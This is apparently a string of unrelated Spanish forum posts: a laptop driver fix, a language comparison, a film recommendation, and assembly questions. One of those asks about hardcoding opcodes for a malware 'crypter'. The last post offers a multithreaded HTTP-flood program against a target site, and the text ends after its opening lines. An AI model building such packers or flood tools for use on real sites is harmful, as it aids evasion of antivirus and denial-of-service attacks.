Resulta que he comprado un portatil nuevo, concretamente un Lenovo G580 con un i7 y 8GB de RAM
Pero el problema es que no reconoce la tarjeta de red, y los drivers que proporciona el fabricante no funcionan
En fin, alguna idea?
Saludos y gracias de antemano!
Edito: Solucionado, hay que conectar el portatil a internet con cable o una tarjeta externa e ir a Sistema->Administracion->Controladores de Hardware, descargarlo todo e instalar y listo.
Bueno pues esa es la pregunta... Por ejemplo he visto que C te permite hacer cosas a bajo nivel sin tener que usar ASM, que en Visual Basic o Delphi es sencillo crear interfaces graficas, que Java tiene muchas cosas de alto nivel y es muy portable...
Bueno os dejo a vosotros que sigais
PD: Tambien estaria bien que digais que valorais de un IDE o entorno de desarrollo. PD2: Si alguien dice algo sobre debuggers, tambien estaria bien
Bueno comparto esta pelicula con vosotros porque me parece que te hace reflexionar sobre el sistema educativo actual, y eso es algo que, si la base de la sociedad es la educacion, es urgente.
La pelicula esta licenciada bajo Creative Commons, cosa que aplaudo.
Bueno estoy haciendo un pequeño crypter, y tengo que hardcodear un push. Tengo que meter en la pila un puntero al entrypoint del ejecutable, y desensamblando un programa simple para ver cual es el opcode de un push me doy cuenta de que detras del opcode (0x68) se pone el valor que se quiere empujar, pero con los bytes al reves. Entonces un codigo simple como este:
Código
push0x80484ee
Genera:
Código
68 ee 840408
Entonces como puedo, en C o en ASM, darle la vuelta a una direccion de memoria para hardcodear un push?
Veran estoy haciendo un pequeño codigo en asm que debe comprobar si se tienen permisos de root y si los tiene cargar un modulo del kernel. Al parecer hay una syscall que lo hace, la 0x31, pero he optado por llamar a la funcion de C(http://www.kernel.org/doc/man-pages/online/pages/man2/init_module.2.html). Tengo dos problemas:
-No se el tamaño de la struct image, y no lo encuentro por ninguna parte. -No se con que hay que linkar o que hay que hacer para hacer un call a init_module, el assembler (nasm) me dice: 'symbol "init_module" undefined'.
Y en realidad tengo otro, y es que no se si tengo que rellenar la estructura o algo, no hay ejemplos ni nada, pero con eso ya me apaño.
Código
extern init_module
section.text
global _start
_start:
xoreax,eax
addeax,0x31
int0x80
testeax,eax
jz init
exit:
xoreax,eax
inceax
xorebx,ebx
orebx,eax
int0x80
init:
xoreax,eax
oreax,80
addeax,48
push image
jmp n
m:
call init_module
jmpexit
n:
call m
name:
db"mylkm.o",0
section.bss
image:resb(tamanio de struct image)
Saludos y gracias de antemano
Edit: Tenia que declarar init_module como extern claro :') Ahora el ensamblador no me dice nada, pero el linker me salta con undefined reference to 'init_module'.
Bueno aqui dejo este codigo que he estado haciendo estos dias, espero que les guste, se aceptan sugerencias, criticas constructivas, comentarios... etc. Basicamente crea varios hilos (he llegado a probar hasta 50) y cada uno de estos hilos envia peticiones HTTP a la pagina objetivo.
Código
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <stdbool.h>
#define MAX_dani 0xF0000
struct params{/* En esta estructura se almacenan los parametros de la funcion t*/
char web[20];// Dominio web
int port;// Puerto (sera el 80, para peticiones HTTP)
int thread;// El numero de thread
int nrequests;// El numero de peticiones
int sleeptime;// El tiempo de espera entre cada peticion
};
int total_requests;// Para almacenar el numero total de peticiones
pthread_mutex_t lock;// Para evitar que varios threads modifiquen total_requests a la vez
int nthreads;// Numero de threads a crear
void* t(void*p)/* Esta es la funcion que va a ejecutar cada thread*/
{
int n =((struct params*)p)->thread+1;// El numero de thread